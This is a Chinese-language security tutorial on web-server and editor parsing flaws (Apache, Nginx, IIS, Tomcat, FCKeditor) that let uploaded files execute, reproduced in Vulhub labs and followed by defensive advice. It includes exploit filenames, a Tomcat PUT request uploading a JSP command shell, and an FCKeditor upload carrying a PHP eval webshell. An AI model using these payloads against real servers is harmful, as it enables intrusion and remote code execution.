
文件上传漏洞的利用往往不止于绕过前端的JS校验或服务端的MIME检查。当文件成功上传后攻击者还需要让服务器“心甘情愿”地将图片马当作脚本执行——这时中间件解析漏洞和编辑器历史漏洞就成了最常用的“捷径”。本文将系统梳理Apache、Nginx、IIS、Tomcat等主流中间件的解析漏洞以及FCKeditor等编辑器组件的经典漏洞帮助你理解这条攻击链路中的关键环节。一、为什么需要关注解析漏洞在前面的文章《文件上传与包含漏洞深度解析》中我们已经介绍了如何通过修改后缀、伪造Content-Type、使用图片马等方式绕过上传校验。但有一个核心问题仍然存在上传的shell.php.png或图片马如何被服务器当作PHP代码执行答案就藏在中间件对文件名的解析特性中。不同的Web服务器对文件后缀的识别逻辑各不相同攻击者正是利用这些差异让本不该被解析的文件“意外”执行。一句话理解上传校验是“守门员”解析漏洞是“后门”。守门员放行了一个看似无害的文件后门却让这个文件获得了执行权限。二、Apache解析漏洞Apache是全球使用最广泛的Web服务器之一其解析漏洞主要分为两类。2.1 多后缀解析特性影响所有版本漏洞原理Apache默认一个文件可以有多个以点分隔的后缀从最右侧开始识别后缀名。只要文件名中任意位置包含.php后缀就会被识别为PHP文件。利用方式textshell.php.png → 被当作PHP解析 shell.php.jpg → 被当作PHP解析这会导致一个严重问题攻击者可以上传一个名为webshell.php.png的文件表面上是一张PNG图片通过MIME校验但实际上包含PHP代码。由于Apache的多后缀解析特性这个文件会被当作PHP执行。环境复现使用Vulhubbashcd /home/enjoy/vulhub-master/httpd/apache_parsing_vulnerability docker-compose build docker-compose up -d访问http://靶机IP/uploadfiles/webshell.php.png即可看到PHP执行结果。2.2 换行解析漏洞CVE-2017-15715影响版本Apache HTTPD 2.4.0 ~ 2.4.29漏洞原理Apache通过正则表达式\.php$匹配PHP文件。在某些配置下$会匹配换行符\x0A导致shell.php\x0A被识别为有效的PHP文件名从而绕过\.php$的匹配逻辑。利用步骤准备一个1.php文件内容为?php phpinfo(); ?用Burp Suite抓取上传请求在1.php后插入换行符\x0A十六进制编辑模式下为0A发送请求文件被保存为1.php%0A访问/1.php%0APHP代码被执行关键注意插入的是0A而非0D0AWindows换行符否则无法绕过。环境复现bashcd /home/enjoy/vulhub-master/httpd/CVE-2017-15715 docker-compose build docker-compose up -d访问http://靶机IP:8080/index.php按照上述步骤操作即可。三、Nginx解析漏洞Nginx的解析漏洞主要与FastCGI的路径处理逻辑有关。3.1 路径解析漏洞漏洞原理当Nginx看到URL以.php结尾时会将请求交给FastCGI处理。如果FastCGI找不到对应的脚本文件如x.php会向前解析将前面的文件当作PHP执行。利用方式text上传 test.jpg包含PHP代码 访问 /test.jpg/x.phpNginx发现路径以.php结尾交给FastCGIFastCGI找不到x.php便解析test.jpg将其中的PHP代码执行。环境复现Vulhubbashcd /home/enjoy/vulhub-master/nginx/nginx_parsing_vulnerability docker-compose build docker-compose up -d上传图片马后访问/uploadfiles/[文件名].png/a.php即可。四、IIS解析漏洞IISInternet Information Services是Windows平台的主流Web服务器IIS 6.0版本存在两个经典的解析漏洞。4.1 目录解析漏洞当建立*.asp、*.asa格式的文件夹时其目录下的任意文件都会被IIS当作ASP文件解析。利用方式创建test.asp文件夹将shell.jpg放入其中访问/test.asp/shell.jpg即可执行ASP代码。4.2 文件解析漏洞当文件名为*.asp;*.jpg格式时IIS会将分号;后的内容忽略只解析分号前的部分。利用方式上传shell.asp;shell.jpgIIS将其当作shell.asp解析执行。4.3 其他可解析后缀以下后缀在IIS 6.0中也可能被当作ASP执行.asa.cer.cdx五、Tomcat解析漏洞CVE-2017-126155.1 漏洞原理影响Tomcat 7.x及之前部分版本。当满足以下条件时Tomcat运行在Windows主机上启用了HTTP PUT请求方法readonlyfalse允许写入攻击者可以通过精心构造的PUT请求向服务器上传包含任意代码的JSP文件。5.2 利用方式步骤1发送PUT请求上传JSP木马httpPUT /1.jsp/ HTTP/1.1 Host: 192.168.49.128:8080 Content-Type: application/x-www-form-urlencoded Content-Length: 750 % page languagejava importjava.util.*,java.io.* pageEncodingUTF-8% %!public static String executeCmd(String c) { ... }%步骤2访问上传的文件texthttp://192.168.49.128:8080/1.jsp?pwd023cmddir即可执行系统命令。环境复现Vulhubbashcd /home/enjoy/vulhub-master/tomcat/CVE-2017-12615 docker-compose build docker-compose up -d六、编辑器漏洞第三方组件的“历史遗留问题”除了中间件自身的解析漏洞第三方编辑器组件如FCKeditor、CKEditor也因功能复杂、历史版本多成为文件上传绕过的重灾区。6.1 FCKeditor漏洞概述FCKeditor后更名为CKEditor的PHP上传模块位于text/editor/filemanager/connectors/php/connector.php6.2 核心利用原理%00截断是FCKeditor漏洞利用的关键。C语言中\0十六进制0x00表示字符串的结束。当服务器拼接路径时%00之后的内容被忽略。正常情况textsave_path ../upload/ filename loudong.jpg 结果../upload/loudong.jpg利用情况textsave_path ../upload/1.php%00 filename loudong.jpg 结果../upload/1.php %00之后的内容被忽略6.3 利用步骤方式一直接上传修改fckeditor/editor/filemanager/connectors/php/config.phpphp$Config[Enabled] true;执行漏洞利用脚本bashphp.exe fck.php 127.0.0.1:80 /fckeditor/方式二手动发包httpPOST /fckeditor/editor/filemanager/connectors/php/connector.php?CommandFileUploadTypeFileCurrentFolderfuck.php%00.gif HTTP/1.1 Content-Type: multipart/form-data; boundary--------29565348729577 ----------29565348729577 Content-Disposition: form-data; nameNewFile; filenamefuck.gif Content-Type: image/jpeg GIF89a ?php eval($_POST[a]) ?服务器最终将文件保存为fuck.php%00截断了后面的.gif。6.4 最新动态CVE-2026-35164根据最新漏洞情报2026年CKEditor的上传功能在Brave CMS 2.0.6之前版本存在无限制文件上传漏洞。漏洞根源在于服务端对上传文件类型的校验机制存在致命缺陷导致攻击者可以上传被禁止的危险文件类型。这再次提醒我们编辑器组件是文件上传漏洞的高发地带使用时应及时更新并做好安全配置。七、漏洞利用链从上传到执行以上漏洞综合起来形成了一条完整的攻击链路text┌─────────────────────────────────────────────────────────────────┐ │ 攻击者 (Attacker) │ └─────────────────────────────────────────────────────────────────┘ │ ▼ ┌───────────────────────┐ │ 1. 上传图片马/木马 │ │ - 绕过前端JS校验 │ │ - 伪造Content-Type │ │ - 使用%00截断 │ └───────────────────────┘ │ ▼ ┌───────────────────────┐ │ 2. 触发解析漏洞 │ │ - Apache多后缀解析 │ │ - Nginx路径解析 │ │ - IIS目录/文件解析 │ │ - Tomcat PUT上传 │ └───────────────────────┘ │ ▼ ┌───────────────────────┐ │ 3. 执行恶意代码 │ │ - phpinfo()信息泄露 │ │ - 一句话木马GetShell │ │ - 命令执行 │ └───────────────────────┘关键点解析漏洞的存在使得原本“合规”的上传文件如图片、7z压缩包获得了执行权限从而让攻击者绕过了上传校验的最后一道防线。八、防御建议8.1 中间件层面升级版本Apache升级到2.4.30修复CVE-2017-15715Tomcat升级到最新稳定版禁用危险功能关闭Tomcat的PUT方法、禁用不必要的WebDAV功能配置限制在httpd.conf或.htaccess中限制上传目录的脚本执行权限8.2 应用层面重命名文件使用时间戳随机数重命名不保留原始文件名白名单校验只允许特定后缀.jpg、.png、.gif拒绝php、jsp等内容校验使用getimagesize()、exif_imagetype()等函数校验文件真实类型限制上传目录设置noexec或禁止直接访问8.3 编辑器组件及时更新关注CKEditor等组件的安全公告及时打补丁关闭上传功能如非必要禁用编辑器的文件上传模块严格权限控制编辑器上传目录应单独配置禁止脚本执行结语中间件解析漏洞和编辑器漏洞是文件上传攻击链中从“上传”到“执行”的桥梁。理解这些漏洞的原理和利用方式不仅有助于渗透测试中的GetShell操作更能帮助开发者在架构设计时提前规避风险。防御的黄金法则依然是永远不要信任用户输入也不要信任文件名——对于上传的文件重命名、校验内容、隔离存储、限制执行是四个缺一不可的环节。本文案例均来自Vulhub等合法授权环境请勿用于非法用途。